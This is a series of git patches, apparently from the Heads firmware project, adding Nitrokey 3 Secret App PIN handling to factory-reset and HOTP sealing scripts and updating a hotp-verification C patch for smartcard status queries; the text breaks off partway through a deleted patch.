--- 1 file changed, 3 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 7c0340aa7..e69a7ddd1 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -86,9 +86,6 @@ done # Handle the --mode parameter if provided if [[ -n "$MODE" ]]; then handle_mode "$MODE" -else - # Default to User Re-Ownership mode - handle_mode "user" fi #Override RSA_KEY_LENGTH to 2048 bits for Canokey under qemu testing boards until canokey fixes From 03e5ec0ddf8e89abbd551cd92cfe1a9637c49f1d Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 13:46:25 -0500 Subject: [PATCH 404/619] oem-factory-reset: if nk3, also display Secure App PIN = GPG Admin PIN as text and in Qr code Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index e69a7ddd1..74894e875 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1387,6 +1387,12 @@ fi #GPG PINs output passphrases+="GPG Admin PIN: ${ADMIN_PIN}\n" + +#if nk3 detected, we add the NK3 Secre App PIN. Detect by product ID +if lsusb | grep -q "20a0:42b2"; then + passphrases+="Nitrokey 3 Security App PIN: ${ADMIN_PIN}\n" +fi + #USER PIN was configured if GPG_GEN_KEY_IN_MEMORY is not active or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is active if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then passphrases+="GPG User PIN: ${USER_PIN}\n" @@ -1397,6 +1403,7 @@ if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then passphrases+="GPG key material backup passphrase: ${ADMIN_PIN}\n" fi + # Show configured secrets in whiptail and loop until user confirms qr code was scanned while true; do whiptail --msgbox " From 789231fac3322e3eed123bd48faeddd8854c911a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 13:55:39 -0500 Subject: [PATCH 405/619] oem-factory-reset: fix Secure App wording, prevent word globbing, warn that physical presence is needed Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 74894e875..3c99eb627 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -139,14 +139,15 @@ mount_boot() { reset_nk3_secret_app() { TRACE_FUNC - # Reset Nitrokey 3 secret app + # Reset Nitrokey 3 Secret App if lsusb | grep -q "20a0:42b2"; then echo - echo "Resetting Nitrokey 3 secret app" + echo "Resetting Nitrokey 3 Secret App PIN. Physical presence (touch) will be required" + #TODO, change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" killall -9 scdaemon 2>&1 >/dev/null || true - # Reset Nitrokey 3 secret app - /bin/hotp_verification reset $ADMIN_PIN + # Reset Nitrokey 3 secret app with PIN + /bin/hotp_verification reset "${ADMIN_PIN}" fi } @@ -548,7 +549,6 @@ gpg_key_factory_reset() { #Reset Nitrokey 3 secret app reset_nk3_secret_app - # Nk3 now ready to set secret app PIN on first use... # If Nitrokey Storage is inserted, reset AES keys as well if lsusb | grep -q "20a0:4109" && [ -x /bin/hotp_verification ]; then @@ -1390,7 +1390,7 @@ passphrases+="GPG Admin PIN: ${ADMIN_PIN}\n" #if nk3 detected, we add the NK3 Secre App PIN. Detect by product ID if lsusb | grep -q "20a0:42b2"; then - passphrases+="Nitrokey 3 Security App PIN: ${ADMIN_PIN}\n" + passphrases+="Nitrokey 3 Secret App PIN: ${ADMIN_PIN}\n" fi #USER PIN was configured if GPG_GEN_KEY_IN_MEMORY is not active or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is active From c3723702105dc0da54713d6380e0ceaf61027568 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 14:25:22 -0500 Subject: [PATCH 406/619] oem-factory-reset: set title_text accordingly to mode, either 'OEM Factory Reset Mode', 'Re-Ownership Mode' or 'OEM Factory Reset / Re-Ownership' TODO: further specialize warning prompt to tell what is going to happen (randomized PIN, signle custom randomized PIN etc) Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 3c99eb627..939377102 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -52,12 +52,16 @@ handle_mode() { USER_PIN=$CUSTOM_SINGLE_PASS ADMIN_PIN=$CUSTOM_SINGLE_PASS TPM_PASS=$CUSTOM_SINGLE_PASS + + title_text="OEM Factory Reset Mode" ;; user) DEBUG "User mode selected" USER_PIN=$(generate_passphrase --number_words 2 --max_length $MAX_HOTP_GPG_PIN_LENGTH) ADMIN_PIN=$(generate_passphrase --number_words 2 --max_length $MAX_HOTP_GPG_PIN_LENGTH) TPM_PASS=$ADMIN_PIN + + title_text="User Re-Ownership Mode" ;; *) warn "Unknown oem-factory-reset lauched mode, setting PINs to weak defaults" @@ -911,9 +915,7 @@ usb_security_token_capabilities_check() { ## main script start # check for args -if [ "$1" != "" ]; then - title_text=$1 -else +if [ -z "$title_text" ]; then title_text="OEM Factory Reset / Re-Ownership" fi if [ "$2" != "" ]; then From e25fb595b67d32e928115d0dd1c39d246f8526b2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 14:37:48 -0500 Subject: [PATCH 407/619] oem-factory-reset: reset nk3 secure app PIN early since we need physical presence, put nk3 secure APP PIN after TPM but before GPG PINS in output for consistency Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 939377102..a3f6933f3 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -148,8 +148,6 @@ reset_nk3_secret_app() { echo echo "Resetting Nitrokey 3 Secret App PIN. Physical presence (touch) will be required" #TODO, change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed - DEBUG "Restarting scdaemon to remove possible exclusive lock of dongle" - killall -9 scdaemon 2>&1 >/dev/null || true # Reset Nitrokey 3 secret app with PIN /bin/hotp_verification reset "${ADMIN_PIN}" fi @@ -537,6 +535,9 @@ gpg_key_factory_reset() { #enable usb storage enable_usb + #Reset Nitrokey 3 secret app + reset_nk3_secret_app + # Factory reset GPG card echo "GPG factory reset of USB Security Dongle's smartcard..." { @@ -551,8 +552,6 @@ gpg_key_factory_reset() { whiptail_error_die "GPG Key factory reset failed!\n\n$ERROR" fi - #Reset Nitrokey 3 secret app - reset_nk3_secret_app # If Nitrokey Storage is inserted, reset AES keys as well if lsusb | grep -q "20a0:4109" && [ -x /bin/hotp_verification ]; then @@ -1387,14 +1386,13 @@ if [ "$CONFIG_TPM" = "y" ]; then passphrases+="TPM Owner Password: ${TPM_PASS}\n" fi -#GPG PINs output -passphrases+="GPG Admin PIN: ${ADMIN_PIN}\n" - #if nk3 detected, we add the NK3 Secre App PIN. Detect by product ID if lsusb | grep -q "20a0:42b2"; then passphrases+="Nitrokey 3 Secret App PIN: ${ADMIN_PIN}\n" fi +#GPG PINs output +passphrases+="GPG Admin PIN: ${ADMIN_PIN}\n" #USER PIN was configured if GPG_GEN_KEY_IN_MEMORY is not active or if GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD is active if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then passphrases+="GPG User PIN: ${USER_PIN}\n" From 95473d6c89d13371133f52dd59d3ad9b3269b385 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 16:08:34 -0500 Subject: [PATCH 408/619] kexec-sign-config: mount rw, write things to /boot, mount ro after Signed-off-by: Thierry Laurion --- initrd/bin/kexec-sign-config | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/initrd/bin/kexec-sign-config b/initrd/bin/kexec-sign-config index c34060d0b..d0d66c69e 100755 --- a/initrd/bin/kexec-sign-config +++ b/initrd/bin/kexec-sign-config @@ -27,6 +27,9 @@ assert_signable confirm_gpg_card +# remount /boot as rw +mount -o remount,rw /boot + # update hashes in /boot before signing if [ "$update" = "y" ]; then ( @@ -81,8 +84,15 @@ for tries in 1 2 3; do ; then # successful - update the validated params check_config $paramsdir + + # remount /boot as ro + mount -o remount,ro /boot + exit 0 fi done +# remount /boot as ro +mount -o remount,ro /boot + die "$paramsdir: Unable to sign kexec hashes" From 847b4ddbdff5b82a0b40a2735cad4945c02033b6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 5 Dec 2024 16:48:32 -0500 Subject: [PATCH 409/619] WiP seal-hotp: customize message to be GPG Admin PIN or Secure App PIN TODO: check logic in this file because assumptions on PINs retry count are wrong and will depend on https://github.com/Nitrokey/nitrokey-hotp-verification/pull/43 not tested here Signed-off-by: Thierry Laurion --- initrd/bin/seal-hotpkey | 18 ++++++++++++++---- 1 file changed, 14 insertions(+), 4 deletions(-) diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 957b94240..930d78059 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -127,23 +127,33 @@ else fi if [ "$admin_pin_status" -ne 0 ]; then + + # create custom message for PIN prompt based on nk3 lsusb product id + prompt_message="" + if lsusb | grep -q "20a0:42b2"; then + prompt_message="Secure App" + else + prompt_message="GPG Admin" + fi + + # prompt user for PIN and retry echo "" - read -s -p "Enter your $HOTPKEY_BRANDING Admin PIN: " admin_pin + read -s -p "Enter your $HOTPKEY_BRANDING $prompt_message PIN: " admin_pin echo -e "\n" hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" if [ $? -ne 0 ]; then echo -e "\n" - read -s -p "Error setting HOTP secret, re-enter Admin PIN and try again: " admin_pin + read -s -p "Error setting HOTP secret, re-enter $prompt_message PIN and try again: " admin_pin echo -e "\n" if ! hotp_initialize "$admin_pin" $HOTP_SECRET $counter_value "$HOTPKEY_BRANDING" ; then # don't leak key on failure shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null if [ "$HOTPKEY_BRANDING" == "Nitrokey" ]; then - fatal_error "Setting HOTP secret failed, to reset nitrokey pin use: nitropy nk3 secrets reset or the Nitrokey App 2" + fatal_error "Setting HOTP secret failed, to reset $prompt_message PIN, redo Re-Ownership procedure, the Nitrokey App 2 or contact Nitrokey support" else - fatal_error "Setting HOTP secret failed" + fatal_error "Setting HOTP secret failed" fi fi fi From 4fd710696e83e82c539e3be20a315dfe71f76ad2 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 6 Dec 2024 10:50:59 -0500 Subject: [PATCH 410/619] hotp-verification patches: Use https://github.com/Nitrokey/nitrokey-hotp-verification/pull/43 instead of https://github.com/Nitrokey/nitrokey-hotp-verification/pull/46 for hotp-verification info parsing and validation of oem-factory-reset and seal-hotp Signed-off-by: Thierry Laurion --- .../43.patch | 450 ++++++++++++++++++ .../46.patch | 219 --------- 2 files changed, 450 insertions(+), 219 deletions(-) create mode 100644 patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch delete mode 100644 patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch new file mode 100644 index 000000000..26ad2bc45 --- /dev/null +++ b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/43.patch @@ -0,0 +1,450 @@ +From 707c6545a509eeb24a06537e5f835d786c2e657e Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= +Date: Thu, 5 Dec 2024 16:44:30 +0100 +Subject: [PATCH] Add support for nitrokey 3 distinction between the secrets + app and other + +This now adds the secrets app version and the nitrokey 3 firmware version, +and also the gpg pins +--- + src/ccid.c | 71 +++++++++++++++++++++++++- + src/ccid.h | 2 + + src/device.c | 29 +++++------ + src/device.h | 2 +- + src/main.c | 41 +++++++++++---- + src/operations_ccid.c | 113 +++++++++++++++++++++++++++++++++++++----- + src/operations_ccid.h | 2 +- + src/structs.h | 19 +++++++ + 8 files changed, 238 insertions(+), 41 deletions(-) + +diff --git a/src/ccid.c b/src/ccid.c +index 9cf24a0..a2cc919 100644 +--- a/src/ccid.c ++++ b/src/ccid.c +@@ -104,7 +104,7 @@ IccResult parse_icc_result(uint8_t *buf, size_t buf_len) { + // .buffer_len = buf_len + }; + // Make sure the response do not contain overread attempts +- rassert(i.data_len < buf_len - 10); ++ rassert(i.data_len <= buf_len - 10); + return i; + } + +@@ -307,6 +307,75 @@ int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_siz + return RET_NO_ERROR; + } + ++int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { ++ unsigned char cmd_select[] = { ++ 0x6f, ++ 0x0E, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0xa4, ++ 0x04, ++ 0x00, ++ 0x09, ++ 0xa0, ++ 0x00, ++ 0x00, ++ 0x08, ++ 0x47, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x01, ++ }; ++ ++ check_ret( ++ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), ++ RET_COMM_ERROR); ++ ++ ++ return RET_NO_ERROR; ++} ++ ++int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult) { ++ unsigned char cmd_select[] = { ++ 0x6f, ++ 0x0C, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0x00, ++ 0xA4, ++ 0x04, ++ 0x00, ++ 0x06, ++ 0xD2, ++ 0x76, ++ 0x00, ++ 0x01, ++ 0x24, ++ 0x01, ++ 0x00, ++ }; ++ ++ check_ret( ++ ccid_process_single(handle, buf, buf_size, cmd_select, sizeof cmd_select, iccResult), ++ RET_COMM_ERROR); ++ ++ ++ return RET_NO_ERROR; ++} + + int ccid_init(libusb_device_handle *handle) { + +diff --git a/src/ccid.h b/src/ccid.h +index ed17dc7..3dcf106 100644 +--- a/src/ccid.h ++++ b/src/ccid.h +@@ -70,6 +70,8 @@ uint32_t icc_pack_tlvs_for_sending(uint8_t *buf, size_t buflen, TLV tlvs[], int + libusb_device_handle *get_device(libusb_context *ctx, const struct VidPid pPid[], int devices_count); + int ccid_init(libusb_device_handle *handle); + int send_select_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); ++int send_select_nk3_admin_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); ++int send_select_nk3_pgp_ccid(libusb_device_handle *handle, uint8_t buf[], size_t buf_size, IccResult *iccResult); + + + enum { +diff --git a/src/device.c b/src/device.c +index 4b9361e..52acece 100644 +--- a/src/device.c ++++ b/src/device.c +@@ -29,6 +29,7 @@ + #include "structs.h" + #include "utils.h" + #include ++#include + #include + #include + #include +@@ -259,23 +260,19 @@ int device_receive_buf(struct Device *dev) { + + #include "operations_ccid.h" + +-int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { +- assert(out_status != NULL); ++int device_get_status(struct Device *dev, struct FullResponseStatus *out_response) { ++ assert(out_response != NULL); + assert(dev != NULL); +- memset(out_status, 0, sizeof(struct ResponseStatus)); ++ memset(out_response, 0, sizeof(struct FullResponseStatus)); ++ ++ struct ResponseStatus *out_status = &out_response->response_status; + + if (dev->connection_type == CONNECTION_CCID) { +- int counter = 0; +- uint32_t serial = 0; +- uint16_t version = 0; +- int res = status_ccid(dev->mp_devhandle_ccid, +- &counter, +- &version, +- &serial); +- out_status->retry_admin = counter; +- out_status->retry_user = counter; +- out_status->card_serial_u32 = serial; +- out_status->firmware_version = version; ++ int res = status_ccid(dev->mp_devhandle_ccid, out_response); ++ // out_status->retry_admin = counter; ++ // out_status->retry_user = counter; ++ // out_status->card_serial_u32 = serial; ++ // out_status->firmware_version = version; + return res; + } + +@@ -290,7 +287,7 @@ int device_get_status(struct Device *dev, struct ResponseStatus *out_status) { + + device_send_buf(dev, GET_STATUS); + device_receive_buf(dev); +- *out_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; ++ out_response->response_status = *(struct ResponseStatus *) dev->packet_response.response_st.payload; + + if (out_status->firmware_version_st.minor == 1) { + for (int i = 0; i < 100; ++i) { +@@ -343,4 +340,4 @@ const char *command_status_to_string(uint8_t status_code) { + void clean_buffers(struct Device *dev) { + memset(dev->ccid_buffer_in, 0, sizeof dev->ccid_buffer_in); + memset(dev->ccid_buffer_out, 0, sizeof dev->ccid_buffer_out); +-} +\ No newline at end of file ++} +diff --git a/src/device.h b/src/device.h +index c895546..97feeeb 100644 +--- a/src/device.h ++++ b/src/device.h +@@ -72,7 +72,7 @@ struct Device { + + int device_connect(struct Device *dev); + int device_disconnect(struct Device *dev); +-int device_get_status(struct Device *dev, struct ResponseStatus *out_status); ++int device_get_status(struct Device *dev, struct FullResponseStatus *out_status); + int device_send(struct Device *dev, uint8_t *in_data, size_t data_size, uint8_t command_ID); + int device_receive(struct Device *dev, uint8_t *out_data, size_t out_buffer_size); + int device_send_buf(struct Device *dev, uint8_t command_ID); +diff --git a/src/main.c b/src/main.c +index 059069e..9b38552 100644 +--- a/src/main.c ++++ b/src/main.c +@@ -93,25 +93,46 @@ int parse_cmd_and_run(int argc, char *const *argv) { + res = RET_NO_ERROR; + break; + case 'i': {// id | info +- struct ResponseStatus status; ++ struct FullResponseStatus status; ++ memset(&status, 0, sizeof (struct FullResponseStatus)); ++ + res = device_get_status(&dev, &status); + check_ret((res != RET_NO_ERROR) && (res != RET_NO_PIN_ATTEMPTS), res); + if (strnlen(argv[1], 10) == 2 && argv[1][1] == 'd') { + // id command - print ID only +- print_card_serial(&status); ++ print_card_serial(&status.response_status); + } else { + // info command - print status + printf("Connected device status:\n"); + printf("\tCard serial: "); +- print_card_serial(&status); +- printf("\tFirmware: v%d.%d\n", +- status.firmware_version_st.major, +- status.firmware_version_st.minor); +- if (res != RET_NO_PIN_ATTEMPTS) { +- printf("\tCard counters: Admin %d, User %d\n", +- status.retry_admin, status.retry_user); ++ print_card_serial(&status.response_status); ++ if (status.device_type == Nk3) { ++ printf("\tFirmware Nitrokey 3: v%d.%d.%d\n", ++ (status.nk3_extra_info.firmware_version >> 22) & 0b1111111111, ++ (status.nk3_extra_info.firmware_version >> 6) & 0xFFFF, ++ status.nk3_extra_info.firmware_version & 0b111111); ++ printf("\tFirmware Secrets App: v%d.%d\n", ++ status.response_status.firmware_version_st.major, ++ status.response_status.firmware_version_st.minor); ++ if (res != RET_NO_PIN_ATTEMPTS) { ++ printf("\tSecrets app PIN counter: %d\n", ++ status.response_status.retry_user); ++ } else { ++ printf("\tSecrets app PIN counter: PIN is not set - set PIN before the first use\n"); ++ } ++ printf("\tGPG Card counters: Admin %d, User %d\n", ++ status.nk3_extra_info.pgp_admin_pin_retries, ++ status.nk3_extra_info.pgp_user_pin_retries); + } else { +- printf("\tCard counters: PIN is not set - set PIN before the first use\n"); ++ printf("\tFirmware: v%d.%d\n", ++ status.response_status.firmware_version_st.major, ++ status.response_status.firmware_version_st.minor); ++ if (res != RET_NO_PIN_ATTEMPTS) { ++ printf("\tCard counters: Admin %d, User %d\n", ++ status.response_status.retry_admin, status.response_status.retry_user); ++ } else { ++ printf("\tCard counters: PIN is not set - set PIN before the first use\n"); ++ } + } + } + if (res == RET_NO_PIN_ATTEMPTS) { +diff --git a/src/operations_ccid.c b/src/operations_ccid.c +index eb46124..25772e5 100644 +--- a/src/operations_ccid.c ++++ b/src/operations_ccid.c +@@ -273,14 +273,102 @@ int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify) { + return RET_VALIDATION_PASSED; + } + +-int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number) { ++int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response) { ++ rassert(full_response != NULL); ++ struct ResponseStatus *response = &full_response->response_status; + rassert(handle != NULL); +- rassert(attempt_counter != NULL); +- rassert(firmware_version != NULL); +- rassert(serial_number != NULL); + uint8_t buf[1024] = {}; + IccResult iccResult = {}; +- int r = send_select_ccid(handle, buf, sizeof buf, &iccResult); ++ bool pin_counter_is_error = false; ++ int r; ++ libusb_device *usb_dev; ++ struct libusb_device_descriptor usb_desc; ++ ++ usb_dev = libusb_get_device(handle); ++ ++ r = libusb_get_device_descriptor(usb_dev, &usb_desc); ++ ++ if (r < 0) { ++ return r; ++ } ++ ++ ++ if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_3_USB_PID) { ++ full_response->device_type = Nk3; ++ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_PRO_USB_PID) { ++ full_response->device_type = NkPro2; ++ } else if (usb_desc.idVendor == NITROKEY_USB_VID || usb_desc.idProduct == NITROKEY_STORAGE_USB_PID) { ++ full_response->device_type = NkStorage; ++ } else if (usb_desc.idVendor == LIBREM_KEY_USB_VID || usb_desc.idProduct == LIBREM_KEY_USB_PID) { ++ full_response->device_type = LibremKey; ++ } ++ ++ if (full_response->device_type == Nk3) { ++ r = send_select_nk3_admin_ccid(handle, buf, sizeof buf, &iccResult); ++ if (r != RET_NO_ERROR) { ++ return r; ++ } ++ ++ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; ++ uint32_t iso_actual_length = iso7816_compose( ++ data_iso, sizeof data_iso, ++ 0x61, 0, 0, 0, 4, NULL, 0); ++ ++ // encode ccid wrapper ++ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, ++ 0x6F, iso_actual_length, ++ 0, 0, 0, data_iso); ++ int transferred; ++ r = ccid_send(handle, &transferred, buf, icc_actual_length); ++ if (r != 0) { ++ return r; ++ } ++ ++ r = ccid_receive(handle, &transferred, buf, sizeof buf); ++ if (r != 0) { ++ return r; ++ } ++ ++ IccResult iccResult = parse_icc_result(buf, transferred); ++ rassert(iccResult.data_status_code == 0x9000); ++ rassert(iccResult.data_len == 6); ++ full_response->nk3_extra_info.firmware_version = be32toh(*(uint32_t *) iccResult.data); ++ } ++ ++ if (full_response->device_type == Nk3) { ++ r = send_select_nk3_pgp_ccid(handle, buf, sizeof buf, &iccResult); ++ if (r != RET_NO_ERROR) { ++ return r; ++ } ++ ++ uint8_t data_iso[MAX_CCID_BUFFER_SIZE] = {}; ++ uint32_t iso_actual_length = iso7816_compose( ++ data_iso, sizeof data_iso, ++ 0xCA, 0, 0xC4, 0, 0xFF, NULL, 0); ++ ++ // encode ccid wrapper ++ uint32_t icc_actual_length = icc_compose(buf, sizeof buf, ++ 0x6F, iso_actual_length, ++ 0, 0, 0, data_iso); ++ int transferred; ++ r = ccid_send(handle, &transferred, buf, icc_actual_length); ++ if (r != 0) { ++ return r; ++ } ++ ++ r = ccid_receive(handle, &transferred, buf, sizeof buf); ++ if (r != 0) { ++ return r; ++ } ++ ++ IccResult iccResult = parse_icc_result(buf, transferred); ++ rassert(iccResult.data_status_code == 0x9000); ++ rassert(iccResult.data_len == 9); ++ full_response->nk3_extra_info.pgp_user_pin_retries = iccResult.data[4]; ++ full_response->nk3_extra_info.pgp_admin_pin_retries = iccResult.data[6]; ++ } ++ ++ r = send_select_ccid(handle, buf, sizeof buf, &iccResult); + if (r != RET_NO_ERROR) { + return r; + } +@@ -292,29 +380,30 @@ int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *fi + r = get_tlv(iccResult.data, iccResult.data_len, Tag_PINCounter, &counter_tlv); + if (!(r == RET_NO_ERROR && counter_tlv.tag == Tag_PINCounter)) { + // PIN counter not found - comm error (ignore) or PIN not set +- *attempt_counter = -1; ++ pin_counter_is_error = true; + } else { +- *attempt_counter = counter_tlv.v_data[0]; ++ response->retry_admin = counter_tlv.v_data[0]; ++ response->retry_user = counter_tlv.v_data[0]; + } + + TLV serial_tlv = {}; + r = get_tlv(iccResult.data, iccResult.data_len, Tag_SerialNumber, &serial_tlv); + if (r == RET_NO_ERROR && serial_tlv.tag == Tag_SerialNumber) { +- *serial_number = be32toh(*(uint32_t *) serial_tlv.v_data); ++ response->card_serial_u32 = be32toh(*(uint32_t *) serial_tlv.v_data); + } else { + // ignore errors - unsupported or hidden serial_tlv number +- *serial_number = 0; ++ response->card_serial_u32 = 0; + } + + TLV version_tlv = {}; + r = get_tlv(iccResult.data, iccResult.data_len, Tag_Version, &version_tlv); + if (!(r == RET_NO_ERROR && version_tlv.tag == Tag_Version)) { +- *firmware_version = 0; ++ response->firmware_version = 0; + return RET_COMM_ERROR; + } +- *firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); ++ response->firmware_version = be16toh(*(uint16_t *) version_tlv.v_data); + +- if (*attempt_counter == -1) { ++ if (pin_counter_is_error == true) { + return RET_NO_PIN_ATTEMPTS; + } + return RET_NO_ERROR; +diff --git a/src/operations_ccid.h b/src/operations_ccid.h +index b26b3c7..ea463b4 100644 +--- a/src/operations_ccid.h ++++ b/src/operations_ccid.h +@@ -10,7 +10,7 @@ int authenticate_ccid(struct Device *dev, const char *admin_PIN); + int authenticate_or_set_ccid(struct Device *dev, const char *admin_PIN); + int set_secret_on_device_ccid(struct Device *dev, const char *admin_PIN, const char *OTP_secret_base32, const uint64_t hotp_counter); + int verify_code_ccid(struct Device *dev, const uint32_t code_to_verify); +-int status_ccid(libusb_device_handle *handle, int *attempt_counter, uint16_t *firmware_version, uint32_t *serial_number); ++int status_ccid(libusb_device_handle *handle, struct FullResponseStatus *full_response); + + + #endif//NITROKEY_HOTP_VERIFICATION_OPERATIONS_CCID_H +diff --git a/src/structs.h b/src/structs.h +index 6309cd0..9e87134 100644 +--- a/src/structs.h ++++ b/src/structs.h +@@ -116,6 +116,25 @@ struct ResponseStatus { + uint8_t retry_user; /*not present in the firmware response for the Status command in v0.8 firmware*/ + }; + ++enum DeviceType { ++ Unknown = 0, ++ Nk3, ++ NkPro2, ++ NkStorage, ++ LibremKey, ++}; ++ ++struct FullResponseStatus { ++ enum DeviceType device_type; ++ struct ResponseStatus response_status; ++ struct { ++ // Only valid if device_type is NK3 ++ uint8_t pgp_admin_pin_retries; ++ uint8_t pgp_user_pin_retries; ++ uint32_t firmware_version; ++ } nk3_extra_info; ++}; ++ + + struct WriteToOTPSlot { + //admin auth diff --git a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch b/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch deleted file mode 100644 index 781c10ffa..000000000 --- a/patches/hotp-verification-e9050e0c914e7a8ffef5d1c82a014e0e2bf79346/46.patch +++ /dev/null @@ -1,219 +0,0 @@ -From de355ed93ba50280bf377772082b76b7a2285185 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Sosth=C3=A8ne=20Gu=C3=A9don?= -Date: Mon, 25 Nov 2024 17:04:47 +0100 -Subject: [PATCH 1/3] Add reset command for nitrokey 3 - ---- - src/main.c | 10 ++++++++-- - src/operations_ccid.c | 41 +++++++++++++++++++++++++++++++++++++++++ - src/operations_ccid.h | 1 + - 3 files changed, 50 insertions(+), 2 deletions(-) - -diff --git a/src/main.c b/src/main.c -index 059069e..b80b71d 100644 ---- a/src/main.c -+++ b/src/main.c -@@ -21,6 +21,7 @@ - - #include "ccid.h" - #include "operations.h" -+#include "operations_ccid.h" - #include "return_codes.h" - #include "utils.h" - #include "version.h" -@@ -134,8 +135,13 @@ int parse_cmd_and_run(int argc, char *const *argv) { - } - break; - case 'r': -- if (argc != 3) break; -- res = regenerate_AES_key(&dev, argv[2]); -+ if (strncmp(argv[1], "reset", 15) == 0) { -+ if (argc != 2) break; -+ res = nk3_reset(&dev); -+ } else if (strncmp(argv[1], "regenerate", 15) == 0) { -+ if (argc != 3) break; -+ res = regenerate_AES_key(&dev, argv[2]); -+ } - break; - default: - break; -diff --git a/src/operations_ccid.c b/src/operations_ccid.c -index eb46124..574155d 100644 ---- a/src/operations_ccid.c -+++ b/src/operations_ccid.c -@@ -32,6 +32,47 @@ - #include - - -+ -+int nk3_reset(struct Device *dev) { -+ libusb_device *usb_dev; -+ struct libusb_device_descriptor usb_desc; -+ usb_dev = libusb_get_device(dev->mp_devhandle_ccid); -+ -+ int r = libusb_get_device_descriptor(usb_dev, &usb_desc); -+ -+ if (r < 0) { -+ return r; -+ } -+ -+ -+ if (usb_desc.idVendor != NITROKEY_USB_VID || usb_desc.idProduct != NITROKEY_3_USB_PID) { -+ return 0; -+ } -+ -+ -+ uint8_t buf[10]; -+ // encode -+ uint32_t icc_actual_length = iso7816_compose(buf, sizeof buf, Ins_Reset, 0xDE, 0xAD, 0, 0, NULL, 0); -+ -+ // encode ccid wrapper -+ icc_actual_length = 